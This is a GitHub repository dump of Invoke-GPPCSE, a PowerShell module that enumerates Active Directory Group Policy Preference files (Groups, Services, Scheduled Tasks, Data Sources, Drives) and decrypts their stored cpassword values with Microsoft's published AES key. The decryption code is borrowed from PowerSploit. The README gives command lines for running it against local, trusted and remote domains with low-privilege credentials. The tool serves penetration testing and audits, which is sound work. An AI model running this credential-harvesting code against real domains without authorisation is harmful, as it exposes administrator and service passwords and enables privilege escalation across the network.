├── Functions ├── Get-ADActiveComputer.ps1 ├── Get-CSEGUIDs.ps1 ├── Get-DecryptedCpassword.ps1 ├── Get-GPOOUs.ps1 ├── Get-GPPData.ps1 ├── Invoke-GPPCSE.ps1 └── New-GPPCSEReport.ps1 ├── GPPCSE.psd1 ├── GPPCSE.psm1 ├── Invoke-GPPCSE_Merged.ps1 ├── LICENSE └── README.md /Functions/Get-ADActiveComputer.ps1: -------------------------------------------------------------------------------- 1 | function Get-ADComputers { 2 | [cmdletbinding()] 3 | param( 4 | [int] $ActiveDays = 60, 5 | [string] $DomainController = $env:USERDNSDOMAIN, 6 | [string] $Username, 7 | [string] $Password, 8 | [System.DirectoryServices.DirectoryEntry] $DirectoryEntry = $null 9 | ) 10 | 11 | $ActiveDaysFileTime = (Get-Date).AddDays(-$ActiveDays).ToFileTimeUtc() 12 | $EnabledComputersFilter = '(&(objectCategory=Computer)(lastLogonTimestamp>=' 13 | $EnabledComputersFilter += $ActiveDaysFileTime 14 | $EnabledComputersFilter += ')(operatingsystem=*)(dNSHostName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' 15 | 16 | if([string]::IsNullOrEmpty($Username) -OR [string]::IsNullOrEmpty($Password)){ 17 | if(-not $DirectoryEntry) 18 | { 19 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry 20 | } 21 | }else{ 22 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController",$Username,$Password) 23 | } 24 | 25 | $PropertyList = @( 26 | 'dNSHostName' 27 | 'operatingsystem' 28 | 'lastLogonTimestamp' 29 | 'whenCreated' 30 | 'whenChanged' 31 | 'ServicePrincipalName' 32 | ) 33 | 34 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher 35 | $Searcher.SearchRoot = $DirectoryEntry 36 | $Searcher.PageSize = 500 37 | $Searcher.Filter = $EnabledComputersFilter 38 | $Searcher.SearchScope = "Subtree" 39 | 40 | foreach($Property IN $PropertyList){ 41 | $Searcher.PropertiesToLoad.Add($Property) | Out-Null 42 | } 43 | 44 | $Results = $Searcher.FindAll() 45 | 46 | Function Get-PropertyValue { 47 | param($Properties,$ItemName) 48 | if(($Properties.PropertyNames -contains $ItemName)){ 49 | return $Properties.$ItemName[0] 50 | }else{ 51 | return $null 52 | } 53 | } 54 | 55 | $Results | foreach{ 56 | 57 | $Out = '' | Select-Object DNSHostName, OperatingSystem, LastLogonTimeStamp, WhenCreated, WhenChanged, ServicePrincipalName, ComputerType 58 | $Out.DNSHostName = Get-PropertyValue $_.Properties dnshostname 59 | $Out.OperatingSystem = Get-PropertyValue $_.Properties operatingsystem 60 | $Out.LastLogonTimeStamp = [datetime]::FromFileTimeUtc((Get-PropertyValue $_.Properties lastlogontimestamp)) 61 | $Out.WhenCreated = Get-PropertyValue $_.Properties whencreated 62 | $Out.WhenChanged = Get-PropertyValue $_.Properties whenchanged 63 | $Out.ServicePrincipalName = Get-PropertyValue $_.Properties serviceprincipalname 64 | $Out.ComputerType = Test-ComputerType -SPN $Out.ServicePrincipalName -OS $Out.OperatingSystem 65 | $Out 66 | 67 | } 68 | } 69 | 70 | Function Test-ComputerType { 71 | [cmdletbinding()] 72 | Param( 73 | [string] $SPN, 74 | [string] $OS 75 | ) 76 | 77 | # Check if cluster virtual name 78 | if(($SPN) -like '*MSClusterVirtualServer*') 79 | { 80 | return 'Cluster' 81 | } 82 | 83 | # Check if OS has the word server in it 84 | if($OS -like "*server*") 85 | { 86 | return 'Server' 87 | } 88 | 89 | # Check if its a client device 90 | $patterns = @('Windows 8*','Windows 7*','Windows XP*','Windows Embedded*','Windows 2000 Professional*','Windows Vista*','Windows 10*') 91 | foreach($pattern in $patterns) { if($OS -like $pattern) { return 'ClientDevice'; } } 92 | 93 | # no other matches found 94 | return 'Unknown' 95 | 96 | } -------------------------------------------------------------------------------- /Functions/Get-CSEGUIDs.ps1: -------------------------------------------------------------------------------- 1 | Function Get-CSEGUIDs { 2 | 3 | @{ 4 | '{5794DAFD-BE60-433f-88A2-1A31939AC01F}'=@('\User\Preferences\Drives\Drives.xml') 5 | '{17D89FEC-5C44-4972-B12D-241CAEF74509}'=@('\Machine\Preferences\Groups\Groups.xml','\User\Preferences\Groups\Groups.xml') # user preference can set a admin password ?!??! 6 | '{B087BE9D-ED37-454f-AF9C-04291E351182}'=@('\Machine\Preferences\Registry\Registry.xml') 7 | '{CAB54552-DEEA-4691-817E-ED4A4D1AFC72}'=@('\Machine\Preferences\Scheduledtasks\Scheduledtasks.xml','\User\Preferences\Scheduledtasks\Scheduledtasks.xml') 8 | '{728EE579-943C-4519-9EF7-AB56765798ED}'=@('\Machine\Preferences\DataSources\DataSources.xml','\User\Preferences\DataSources\DataSources.xml') 9 | '{91FBB303-0CD5-4055-BF42-E512A681B325}'=@('\Machine\Preferences\Services\Services.xml') 10 | } 11 | 12 | } 13 | -------------------------------------------------------------------------------- /Functions/Get-DecryptedCpassword.ps1: -------------------------------------------------------------------------------- 1 | # taken from https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1 2 | function Get-DecryptedCpassword { 3 | [CmdletBinding()] 4 | Param ( 5 | [string] $Cpassword 6 | ) 7 | 8 | try { 9 | #Append appropriate padding based on string length 10 | $Mod = ($Cpassword.length % 4) 11 | 12 | switch ($Mod) { 13 | '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} 14 | '2' {$Cpassword += ('=' * (4 - $Mod))} 15 | '3' {$Cpassword += ('=' * (4 - $Mod))} 16 | } 17 | 18 | $Base64Decoded = [Convert]::FromBase64String($Cpassword) 19 | 20 | #Create a new AES .NET Crypto Object 21 | try 22 | { 23 | $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider -ErrorAction Stop 24 | } 25 | catch 26 | { 27 | # Added error handling to stop null being returned 28 | Write-Warning 'Unable to decrypt cPassword is .Net 3.5 installed?' 29 | return $Cpassword 30 | } 31 | [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 32 | 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) 33 | 34 | #Set IV to all nulls to prevent dynamic generation of IV value 35 | $AesIV = New-Object Byte[]($AesObject.IV.Length) 36 | $AesObject.IV = $AesIV 37 | $AesObject.Key = $AesKey 38 | $DecryptorObject = $AesObject.CreateDecryptor() 39 | [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) 40 | 41 | return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) 42 | } 43 | 44 | catch {Write-Error $Error[0]} 45 | } -------------------------------------------------------------------------------- /Functions/Get-GPOOUs.ps1: -------------------------------------------------------------------------------- 1 | 2 | Function Get-GPLinks { 3 | [CmdletBinding()] 4 | param( 5 | [Parameter(mandatory=$true)] 6 | [System.DirectoryServices.ResultPropertyCollection] $Properties 7 | ) 8 | 9 | $Links = $Properties['gplink'] -split '\]\[' -replace '\[|\]' 10 | 11 | Foreach($Link in $Links) 12 | { 13 | $link = $link -split ';' 14 | $Out = '' | Select-Object PolicyGUID, LinkEnforced, LinkEnabled 15 | $Out.PolicyGUID = ($link[0] -replace ',cn=.*?$' -replace '^LDAP://cn=') 16 | $Out.LinkEnforced = ([int]$link[1] -ge 2) 17 | $Out.LinkEnabled = (0,2 -ccontains [int]$link[1]) 18 | $Out 19 | } 20 | 21 | } 22 | 23 | Function Get-GPOOUs { 24 | [CmdletBinding()] 25 | param( 26 | [Parameter(mandatory=$true)] 27 | [string] $GUID, 28 | [switch] $ReturnDNOnly, 29 | [string] $DomainController, 30 | [string] $Username, 31 | [string] $Password, 32 | [System.DirectoryServices.DirectoryEntry] $DirectoryEntry = $null, 33 | [switch] $LinkedOnly 34 | ) 35 | 36 | begin 37 | { 38 | 39 | if(-not $DirectoryEntry) 40 | { 41 | # authenticate 42 | if($DomainController -and ([string]::IsNullOrEmpty($Username) -OR [string]::IsNullOrEmpty($Password))){ 43 | # assume a remote domain that the current logon credentials have access to 44 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController") 45 | }elseif([string]::IsNullOrEmpty($Username) -OR [string]::IsNullOrEmpty($Password)){ 46 | # bind to the current domain 47 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry 48 | }else{ 49 | # connect to a remote domain with credentials 50 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController",$Username,$Password) 51 | } 52 | } 53 | 54 | # Build searcher 55 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher 56 | $Searcher.SearchRoot = $DirectoryEntry 57 | $Searcher.Filter = "(gPLink=*$GUID*)" 58 | 59 | $Results = $Searcher.FindAll() 60 | $Output = @() 61 | } 62 | 63 | process 64 | { 65 | 66 | foreach($Result in $Results) 67 | { 68 | # is the link enabled 69 | $GPLinks = Get-GPLinks -Properties $Result.Properties 70 | $GPLink = $GPLinks | Where-Object { $_.PolicyGUID -eq $GUID -and $_.LinkEnabled } 71 | 72 | if($LinkedOnly) 73 | { 74 | # Send DN to output 75 | if($ReturnDNOnly) 76 | { 77 | # return string array of DNs 78 | $Output += $Result.Properties['distinguishedname'] 79 | }else{ 80 | # return a directory entry so its easier to process with other commands 81 | $Output += $Result.GetDirectoryEntry() 82 | } 83 | 84 | # skip the rest of this loop 85 | return 86 | } 87 | 88 | 89 | if($GPLink) 90 | { 91 | if($GPLink.LinkEnforced) 92 | { 93 | # link is enforced get all sub OUs 94 | $Search = [adsisearcher]"objectclass=organizationalUnit" 95 | }else{ 96 | # gPOptions - 1 - Block Inheritance 97 | $Search = [adsisearcher]"(&(objectclass=organizationalUnit)(!(gPOptions=1)))" 98 | } 99 | $Search.SearchRoot = $Result.GetDirectoryEntry() 100 | $SubOUs = $Search.FindAll() 101 | foreach($SubOU in $SubOUs) 102 | { 103 | # Send DN to output 104 | if($ReturnDNOnly) 105 | { 106 | # return string array of DNs 107 | $Output += $SubOU.Properties['distinguishedname'] 108 | }else{ 109 | # return a directory entry so its easier to process with other commands 110 | $Output += $SubOU.GetDirectoryEntry() 111 | } 112 | } 113 | } 114 | 115 | } 116 | } 117 | 118 | end 119 | { 120 | if($ReturnDNOnly) 121 | { 122 | $Output | Sort-Object -Unique 123 | }else{ 124 | $Output | Sort-Object -Property distinguishedName -Unique 125 | } 126 | } 127 | 128 | } -------------------------------------------------------------------------------- /Functions/Get-GPPData.ps1: -------------------------------------------------------------------------------- 1 | Function Get-GPPData { 2 | [CmdletBinding()] 3 | param( 4 | [System.IO.FileInfo] $GPPFile 5 | ) 6 | 7 | [xml]$GPPXML = Get-Content $GPPFile.FullName 8 | 9 | switch ($GPPFile.Name) { 10 | 11 | 'Groups.xml' { 12 | if($GPPXML.Groups.User) 13 | { 14 | foreach($User in $GPPXML.Groups.User) 15 | { 16 | [pscustomobject]@{ 17 | Type = 'Groups' 18 | Username = $User.Properties.userName 19 | NewName = $User.Properties.newName 20 | cPassword = $User.Properties.cpassword 21 | Changed = [datetime]$User.changed 22 | } 23 | 24 | } 25 | Remove-Variable -Name User 26 | } 27 | } 28 | 29 | 'Services.xml' { 30 | foreach($Item in ($GPPXML | Select-Xml "/NTServices/NTService/Properties" | Select -ExpandProperty Node)) 31 | { 32 | [pscustomobject]@{ 33 | Type = 'Services' 34 | Username = $Item.accountName 35 | NewName = 'n/a' 36 | cPassword = $Item.cpassword 37 | Changed = [datetime]$Item.ParentNode.changed 38 | } 39 | } 40 | } 41 | 42 | 'Scheduledtasks.xml' { 43 | foreach($Item in ($GPPXML | Select-Xml "/ScheduledTasks/Task/Properties" | Select -ExpandProperty Node)) 44 | { 45 | [pscustomobject]@{ 46 | Type = 'Scheduledtasks' 47 | Username = $Item.runAs 48 | NewName = 'n/a' 49 | cPassword = $Item.cpassword 50 | Changed = [datetime]$Item.ParentNode.changed 51 | } 52 | } 53 | } 54 | 55 | 'DataSources.xml' { 56 | foreach($Item in ($GPPXML | Select-Xml "/DataSources/DataSource/Properties" | Select -ExpandProperty Node)) 57 | { 58 | [pscustomobject]@{ 59 | Type = 'DataSources' 60 | Username = $Item.username 61 | NewName = 'n/a' 62 | cPassword = $Item.cpassword 63 | Changed = [datetime]$Item.ParentNode.changed 64 | } 65 | } 66 | } 67 | 68 | 'Drives.xml' { 69 | foreach($Item in ($GPPXML | Select-Xml "/Drives/Drive/Properties" | Select -ExpandProperty Node)) 70 | { 71 | [pscustomobject]@{ 72 | Type = 'Drives' 73 | Username = $Item.userName 74 | NewName = 'n/a' 75 | cPassword = $Item.cpassword 76 | Changed = [datetime]$Item.ParentNode.changed 77 | } 78 | } 79 | } 80 | } 81 | 82 | } 83 | -------------------------------------------------------------------------------- /Functions/Invoke-GPPCSE.ps1: -------------------------------------------------------------------------------- 1 | Function Invoke-GPPCSE { 2 | [CmdletBinding()] 3 | param( 4 | [string] $DomainController = $env:USERDNSDOMAIN, 5 | [string] $Username = $null, 6 | [string] $Password = $null 7 | ) 8 | 9 | 10 | begin 11 | { 12 | # authenticate 13 | if($DomainController -and ([string]::IsNullOrEmpty($Username) -OR [string]::IsNullOrEmpty($Password))){ 14 | # assume a remote domain that the current logon credentials have access to 15 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController") 16 | $DomainType = 'RemoteTrusted' 17 | }elseif([string]::IsNullOrEmpty($Username) -OR [string]::IsNullOrEmpty($Password)){ 18 | # bind to the current domain 19 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry 20 | $DomainType = 'Local' 21 | }else{ 22 | # connect to a remote domain with credentials 23 | $DirectoryEntry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController",$Username,$Password) 24 | $DomainType = 'ExternalDomain' 25 | } 26 | 27 | # build LDAP filter 28 | $CSEGUIDs = Get-CSEGUIDs 29 | $LDAPFilter = '(|' 30 | foreach($GUID in $CSEGUIDs.Keys){ $LDAPFilter += "(gPCMachineExtensionNames=*$GUID*)" } 31 | $LDAPFilter += ')' 32 | 33 | # Build searcher 34 | $Searcher = New-Object System.DirectoryServices.DirectorySearcher 35 | $Searcher.SearchRoot = $DirectoryEntry 36 | $Searcher.Filter = $LDAPFilter 37 | 38 | # map network share to domain SYSVOL 39 | if($DomainType -eq 'ExternalDomain') 40 | { 41 | # passwords with double quotes in them get escaped 42 | $null = Invoke-Expression ('net use \\' + $DomainController + '\SYSVOL /USER:' + $Username + ' "' + ($Password -Replace '"','\"') + '"') 43 | }else{ 44 | $null = Invoke-Expression ('net use \\' + $DomainController + '\SYSVOL') 45 | } 46 | 47 | # construct SYSVOL string for policies 48 | $DomainName = $DirectoryEntry.Properties['distinguishedName'] -replace ',DC=','.' -replace 'DC=' 49 | $PolicyPath = "\\$DomainController\sysvol\$DomainName\Policies" 50 | 51 | # Look for GPOs that have a GPP CSE 52 | $GPOs = $Searcher.FindAll() 53 | 54 | # if no GPOs found then error and exit no need to process an empty list :) 55 | if($GPOs -eq $null) 56 | { 57 | throw 'No GPOs containing GPP found' 58 | return 59 | } 60 | 61 | } 62 | 63 | process 64 | { 65 | 66 | foreach($GPO in $GPOs) 67 | { 68 | # first workout if any files exist and if it has any passwords to save more network calls 69 | $GPOPath = Join-Path $PolicyPath $GPO.Properties['name'][0] 70 | $Files = $CSEGUIDs.Values | foreach{ 71 | # some GPP preferences apply to both user and computer 72 | foreach($CSEFile in $_) 73 | { 74 | Write-Verbose "Searching file $(Join-Path $GPOPath $CSEFile)" 75 | Get-Item (Join-Path $GPOPath $CSEFile) -ErrorAction SilentlyContinue 76 | } 77 | } 78 | 79 | if(-not $Files) 80 | { 81 | # no files found, skip this GPO 82 | Write-Verbose "$($GPO.Properties.name[0]) has no GPP files" 83 | return 84 | } 85 | 86 | Function Get-GPOFlag { 87 | param([int]$flag) 88 | 89 | switch($flag) 90 | { 91 | 3 { 'All Settings Disabled' } 92 | 2 { 'Computer configuration settings disabled' } 93 | 0 { 'Enabled' } 94 | 1 { 'User configuration settings disabled' } 95 | } 96 | 97 | } 98 | 99 | 100 | $Passwords = $Files | foreach { Get-GPPData -GPPFile $_ } 101 | 102 | if($Passwords) 103 | { 104 | foreach($Pass in $Passwords) 105 | { 106 | 107 | $Result = '' | Select-Object GPPType, GPPUsername, GPPNewUsername, GPPPassword, GPOPath, GPOName, GPOGUID, GPOLinkedOUs, GPOAssociatedOUs, GPOStatus, RelatedActiveComputers 108 | $Result.GPPType = $Pass.Type 109 | $Result.GPPUsername = $Pass.Username 110 | $Result.GPPNewUsername = $Pass.NewName 111 | $Result.GPPPassword = $(Get-DecryptedCpassword $Pass.cPassword) 112 | $Result.GPOPath = $GPOPath 113 | $Result.GPOName = $GPO.Properties['displayname'][0] 114 | $Result.GPOGUID = $GPO.Properties['name'][0] 115 | $Result.GPOLinkedOUs = $(Get-GPOOUs -GUID $GPO.Properties['name'] -ReturnDNOnly -LinkedOnly -DirectoryEntry $DirectoryEntry) 116 | $Result.GPOAssociatedOUs = $(Get-GPOOUs -GUID $GPO.Properties['name'] -ReturnDNOnly -DirectoryEntry $DirectoryEntry) 117 | $Result.GPOStatus = Get-GPOFlag $GPO.Properties['flags'][0] 118 | $Result.RelatedActiveComputers = $(Get-GPOOUs -GUID $GPO.Properties['name'] -DirectoryEntry $DirectoryEntry | %{ Get-ADComputers -DirectoryEntry $_ }) 119 | $Result 120 | } 121 | } 122 | 123 | 124 | 125 | } 126 | 127 | } 128 | 129 | } -------------------------------------------------------------------------------- /Functions/New-GPPCSEReport.ps1: -------------------------------------------------------------------------------- 1 | Function New-GPPCSEReport { 2 | param($Data) 3 | 4 | @" 5 | 6 | 7 | 8 | 46 | 47 | 48 |

Invoke-GPPCSE Report

49 | "@ 50 | foreach($Item in $Data) 51 | { 52 | @" 53 |
54 |

GPO Information

55 | 75 |

Related Active Computers

76 | $(if($Item.RelatedActiveComputers){ $Item.RelatedActiveComputers | ConvertTo-Html -Fragment }else{ 'None' }) 77 | 78 |
79 |

 

80 | "@ 81 | 82 | } 83 | @" 84 | 85 | 86 | "@ 87 | 88 | } 89 | -------------------------------------------------------------------------------- /GPPCSE.psd1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneLogicalMyth/Invoke-GPPCSE/7ef0a1e4c4b522efe10819bd8a490f759f46f203/GPPCSE.psd1 -------------------------------------------------------------------------------- /GPPCSE.psm1: -------------------------------------------------------------------------------- 1 | $global:BuildReviewRoot = Split-Path -Parent -Path $MyInvocation.MyCommand.Definition 2 | "$(Split-Path -Path $MyInvocation.MyCommand.Path)\Functions\*.ps1" | Resolve-Path | % { . $_.ProviderPath } 3 | -------------------------------------------------------------------------------- /Invoke-GPPCSE_Merged.ps1: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/OneLogicalMyth/Invoke-GPPCSE/7ef0a1e4c4b522efe10819bd8a490f759f46f203/Invoke-GPPCSE_Merged.ps1 -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | 635 | Copyright (C) 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | Copyright (C) 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Invoke-GPPCSE 2 | Obtains a list of GPOs based on known Client Side Extensions (CSE) that normally contain passwords. 3 | 4 | You can read about how it works here: https://glanfield.co.uk/make-group-policy-preferences-guid-again/ 5 | 6 | # Running 7 | First import the module. 8 | 9 | ``` 10 | Import-Module .\GPPCSE.psd1 11 | ``` 12 | 13 | To make it easier the module is also in a single file. 14 | 15 | ``` 16 | Import-Module .\Invoke-GPPCSE_Merged.ps1 17 | ``` 18 | 19 | Running against the local domain. 20 | 21 | ``` 22 | Invoke-GPPCSE 23 | ``` 24 | 25 | Running against a trusted domain. This will use your current credentials to authenticate against the remote domain. 26 | 27 | ``` 28 | Invoke-GPPCSE -DomainController 192.168.1.1 29 | ``` 30 | 31 | Running against a remote domain. 32 | 33 | ``` 34 | Invoke-GPPCSE -DomainController 192.168.1.1 -Username LowPriv -Password Password1 35 | ``` 36 | 37 | You can create a HTML report of the results by doing the following: 38 | 39 | ``` 40 | $Results = Invoke-GPPCSE 41 | New-GPPCSEReport -Data $Results | Out-File Report.html 42 | ``` 43 | 44 | # ToDo 45 | * Create a C# version 46 | * Add support for autologon registry keys 47 | --------------------------------------------------------------------------------